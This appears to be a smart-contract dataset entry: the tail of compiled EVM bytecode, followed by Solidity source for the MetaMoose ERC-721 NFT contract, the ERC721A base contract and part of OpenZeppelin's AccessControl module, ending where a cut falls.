830190803683375050835482519293506001600160a01b031691839150600090614a3257fe5b6001600160a01b03928316602091820292909201015260018084015483519216918391908110614a5e57fe5b6001600160a01b0392831660209182029290920101526002830154600091166338ed17398989858a61477f426001611a23565b60405180606001604052806000815260200160008152602001600063ffffffff1681525090565b60405180606001604052806000815260200160008152602001600081525090565b6040518060c001604052806000815260200160008152602001600081526020016000815260200160008152602001600081525090565b80356001600160a01b038116811461094a57600080fd5b60008083601f840112614b37578182fd5b50813567ffffffffffffffff811115614b4e578182fd5b6020830191508360208083028501011115610d7f57600080fd5b600082601f830112614b78578081fd5b81356020614b8d614b8883615970565b61594c565b8281528181019085830183850287018401881015614ba9578586fd5b855b85811015614bc757813584529284019290840190600101614bab565b5090979650505050505050565b600082601f830112614be4578081fd5b81356020614bf4614b8883615970565b8281528181019085830183850287018401881015614c10578586fd5b855b85811015614bc7578135614c25816159e4565b84529284019290840190600101614c12565b803561094a816159d6565b600060608284031215614c53578081fd5b50919050565b600060e08284031215614c53578081fd5b80516dffffffffffffffffffffffffffff8116811461094a57600080fd5b600060208284031215614c99578081fd5b610c6e82614b0f565b60008060408385031215614cb4578081fd5b614cbd83614b0f565b91506020830135614ccd816159e4565b809150509250929050565b60006020808385031215614cea578182fd5b825167ffffffffffffffff811115614d00578283fd5b8301601f81018513614d10578283fd5b8051614d1e614b8882615970565b8181528381019083850185840285018601891015614d3a578687fd5b8694505b83851015614d5c578051835260019490940193918501918501614d3e565b50979650505050505050565b60008060008060408587031215614d7d578182fd5b843567ffffffffffffffff80821115614d94578384fd5b614da088838901614b26565b90965094506020870135915080821115614db8578384fd5b50614dc587828801614b26565b95989497509550505050565b600080600080600060608688031215614de8578081fd5b853567ffffffffffffffff80821115614dff578283fd5b614e0b89838a01614b26565b90975095506020880135915080821115614e23578283fd5b614e2f89838a01614b26565b90955093506040880135915080821115614e47578283fd5b50614e5488828901614c59565b9150509295509295909350565b600060208284031215614e72578081fd5b8151610c6e816159d6565b600080600060608486031215614e91578283fd5b614e9a84614c6a565b9250614ea860208501614c6a565b91506040840151614eb8816159e4565b809150509250925092565b600060208284031215614ed4578081fd5b5035919050565b600060208284031215614eec578081fd5b5051919050565b60008060008060c08587031215614f08578182fd5b84359350614f198660208701614c42565b9250608085013567ffffffffffffffff80821115614f35578384fd5b614f4188838901614bd4565b935060a0870135915080821115614f56578283fd5b50614f6387828801614b68565b91505092959194509250565b600080600080600060e08688031215614f86578283fd5b85359450614f978760208801614c42565b9350608086013567ffffffffffffffff80821115614fb3578485fd5b614fbf89838a01614bd4565b945060a0880135915080821115614fd4578283fd5b614fe089838a01614b68565b935060c0880135915080821115614e47578283fd5b60008060408385031215615007578182fd5b82359150602083013567ffffffffffffffff811115615024578182fd5b61503085828601614c59565b9150509250929050565b6000806040838503121561504c578182fd5b50508035926020909101359150565b60008060006060848603121561506f578081fd5b8335925060208401359150604084013567ffffffffffffffff811115615093578182fd5b61509f86828701614c59565b9150509250925092565b6000806000606084860312156150bd578081fd5b8351925060208401519150604084015190509250925092565b60008060008060c085870312156150eb578182fd5b84359350602085013592506040850135915061510a8660608701614c42565b905092959194509250565b600080600080600060e0868803121561512c578283fd5b85359450602086013593506040860135925061514b8760608801614c42565b915060c086013567ffffffffffffffff811115615166578182fd5b614e5488828901614c59565b600060208284031215615183578081fd5b8135610c6e816159e4565b6000815180845260208085019450808401835b838110156151c65781516001600160a01b0316875295820195908201906001016151a1565b509495945050505050565b60008284527f07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831115615202578081fd5b6020830280836020870137939093016020019283525090919050565b60008284526020808501945082825b858110156151c6578135615240816159e4565b63ffffffff168752958201959082019060010161522d565b15159052565b90565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039889168152968816602088015260408701959095526060860193909352608085019190915260a084015290921660c082015260e08101919091526101000190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6060808252810185905260008660808301825b8881101561537657823561535c816159e4565b63ffffffff16825260209283019290910190600101615349565b50838103602085015261538a8187896151d1565b925050508260408301529695505050505050565b606080825284519082018190526000906020906080840190828801845b828110156153dd57815163ffffffff16845292840192908401906001016153bb565b50505083810382850152855180825286830191830190845b81811015615411578351835292840192918401916001016153f5565b5050809350505050826040830152949350505050565b901515815260200190565b60208082526019908201527f436865636b3a204265616e2062616c616e6365206661696c2e00000000000000604082015260600190565b60208082526018908201527f53696c6f3a204e6f204265616e7320756e646572204c502e0000000000000000604082015260600190565b6020808252600f908201527f53696c6f3a204e6f206265616e732e0000000000000000000000000000000000604082015260600190565b60208082526017908201527f436865636b3a204c502062616c616e6365206661696c2e000000000000000000604082015260600190565b6020808252601c908201527f53696c6f3a2043726174652062616c616e636520746f6f206c6f772e00000000604082015260600190565b6020808252601e908201527f4d61726b65743a204574686572207472616e73666572206661696c65642e0000604082015260600190565b60208082526006908201527f6c6f636b65640000000000000000000000000000000000000000000000000000604082015260600190565b60208082526013908201527f53696c6f3a204675747572652063726174652e00000000000000000000000000604082015260600190565b60208082526025908201527f53696c6f3a2053696c6f3a2043616e742062757920457468657220616e64204260408201527f65616e732e000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526016908201527f4d61726b65743a20526566756e64206661696c65642e00000000000000000000604082015260600190565b60208082526027908201527f53696c6f3a204372617465732c20616d6f756e7473206172652064696666206c60408201527f656e677468732e00000000000000000000000000000000000000000000000000606082015260800190565b60208082526012908201527f53696c6f3a20437261746520656d7074792e0000000000000000000000000000604082015260600190565b60208082526012908201527f53696c6f3a204e6f204c502061646465642e0000000000000000000000000000604082015260600190565b600060408252615759848561598e565b60e0604085015261576f6101208501828461521e565b91505061577f602086018661598e565b603f198086850301606087015261579784838561521e565b93506157a6604089018961598e565b9350915080868503016080870152506157c08383836151d1565b9250505060608501356157d2816159d6565b6157df60a0850182615258565b506157ec60808601614c37565b6157f960c0850182615258565b5060a085013560e084015260c08501356101008401529050610c6e6020830184615258565b81518152602080830151908201526040918201519181019190915260600190565b815181526020808301519082015260409182015163ffffffff169181019190915260600190565b90815260200190565b6000838252604060208301526112a5604083018461518e565b6000858252608060208301526158a1608083018661518e565b6001600160a01b03949094166040830152506060015292915050565b918252602082015260400190565b600086825285602083015260a060408301526158ea60a083018661518e565b6001600160a01b0394909416606083015250608001529392505050565b63ffffffff91909116815260200190565b63ffffffff929092168252602082015260400190565b63ffffffff9390931683526020830191909152604082015260600190565b60405181810167ffffffffffffffff8111828210171561596857fe5b604052919050565b600067ffffffffffffffff82111561598457fe5b5060209081020190565b6000808335601e198436030181126159a4578283fd5b830160208101925035905067ffffffffffffffff8111156159c457600080fd5b602081023603831315610d7f57600080fd5b8015158114610fe457600080fd5b63ffffffff81168114610fe457600080fdfe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220001a306eb58c140d30145714d7359dde67b41701f721eecb191b2f1a2bc3155764736f6c63430007060033
[ 7, 11, 12, 16, 5 ]
0xF1bcbD895aa92A64A2728fa5B42AFd35642aa6B9
// SPDX-License-Identifier: MIT pragma solidity 0.8.12; import "./lib/ERC721A.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @notice Represents opensea's proxy contract for delegated transactions */ contract OwnableDelegateProxy {} /** * @notice Represents opensea's ProxyRegistry contract. * Used to find the opensea proxy contract of a user */ contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @title MetaMooseERC721. * * @notice This smart contract can be used to represent an ERC-721 asset on the Ethereum network. * It supports delayed reveals, gas-efficient batch minting {ERC721A}, freezing of metadata * and role-based access control. * * @dev The ERC-721A standard developed by chiru-labs, is used as a basis for this contract. * */ contract MetaMooseERC721 is ERC721A, AccessControl, Ownable { using Strings for uint256; /** * @dev NFT PLATFORM INTEGRATION */ address public openseaProxyRegistryAddress; /** * @dev METADATA */ string public baseURIString = "https://www.metamoose.com/metadata/"; /** * @dev FREEZE */ bool public isFrozen = false; /** * @dev ROLES */ bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); /** * @dev MODIFIERS */ modifier notFrozen() { require(!isFrozen, "CONTRACT FROZEN"); _; } /** * @dev EVENTS */ event setBaseURIEvent(string indexed baseURI); event setOwnersExplicitEvent(uint256 indexed quantity); event WithdrawAllEvent(address indexed to, uint256 amount); event ReceivedEther(address indexed sender, uint256 indexed amount); constructor( address _openseaProxyRegistryAddress ) ERC721A("MetaMoose", "MTMS") Ownable() { _setupRole(MINTER_ROLE, msg.sender); _setupRole(BURNER_ROLE, msg.sender); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); openseaProxyRegistryAddress = _openseaProxyRegistryAddress; } /** * @dev MINTING */ /** * @notice Function to mint MetaMooseERC721s to a specified address. Only * accessible by accounts with a role of MINTER_ROLE * * @param amount The amount of MetaMooseERC721s to be minted * @param _to The address to which the MetaMooseERC721s will be minted to */ function mintTo(uint256 amount, address _to) external onlyRole(MINTER_ROLE) { _safeMint(_to, amount); } /** * @dev BURNING */ /** * @dev Burns `tokenId`. See {ERC721A-_burn}. * * @param tokenId. The token ID to burn */ function burn(uint256 tokenId) external onlyRole(BURNER_ROLE) { _burn(tokenId); } /** * @dev VIEW ONLY */ /** * @notice Function to get the URI for the metadata of a specific tokenId * @dev Return value is based on revealDate. * * @param tokenId. The tokenId which we want to know the URI of. * @return The URI of token tokenid */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { return string(abi.encodePacked(baseURIString, tokenId.toString(), ".json")); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControl, ERC721A) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @notice Override isApprovedForAll to whitelist user's OpenSea proxy account to enable gas-less listings. * @dev Used for integration with opensea's Wyvern exchange protocol. * See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) override public view returns (bool) { // Create an instance of the ProxyRegistry contract from Opensea ProxyRegistry proxyRegistry = ProxyRegistry(openseaProxyRegistryAddress); // whitelist the ProxyContract of the owner of the MetaMooseERC721 if (address(proxyRegistry.proxies(owner)) == operator) { return true; } if (openseaProxyRegistryAddress == operator) { return true; } return super.isApprovedForAll(owner, operator); } /** * @dev Override msgSender to allow for meta transactions on OpenSea. */ function _msgSender() override internal view returns (address sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = payable(msg.sender); } return sender; } /** * @dev OWNER ONLY */ /** * @notice Allow for changing of metadata URL. * @dev Can be turned off by freezing the contract. * * @param _newBaseURI. The new base URL for the metadata of the collection. */ function setBaseURI(string memory _newBaseURI) external onlyOwner notFrozen { baseURIString = _newBaseURI; emit setBaseURIEvent(_newBaseURI); } /** * @dev FINANCE */ /** * @notice Allows owner to withdraw funds generated from sale. * * @param _to. The address to send the funds to. */ function withdrawAll(address _to) external onlyOwner { require(_to != address(0), "CANNOT WITHDRAW TO ZERO ADDRESS"); uint256 contractBalance = address(this).balance; require(contractBalance > 0, "NO ETHER TO WITHDRAW"); payable(_to).transfer(contractBalance); emit WithdrawAllEvent(_to, contractBalance); } /** * @dev Fallback function for receiving Ether */ receive() external payable { emit ReceivedEther(msg.sender, msg.value); } } // SPDX-License-Identifier: MIT // Creator: Chiru Labs pragma solidity ^0.8.4; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/utils/Context.sol'; import '@openzeppelin/contracts/utils/Strings.sol'; import '@openzeppelin/contracts/utils/introspection/ERC165.sol'; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintedQueryForZeroAddress(); error BurnedQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerIndexOutOfBounds(); error OwnerQueryForNonexistentToken(); error TokenIndexOutOfBounds(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex times unchecked { return _currentIndex - _burnCounter; } } /** * @dev See {IERC721Enumerable-tokenByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenByIndex(uint256 index) public view override returns (uint256) { uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (!ownership.burned) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert TokenIndexOutOfBounds(); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds(); uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; address currOwnershipAddr; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.burned) { continue; } if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } // Execution should never reach this point. revert(); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (!_checkOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) { revert TransferToNonERC721ReceiverImplementer(); } updatedIndex++; } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller 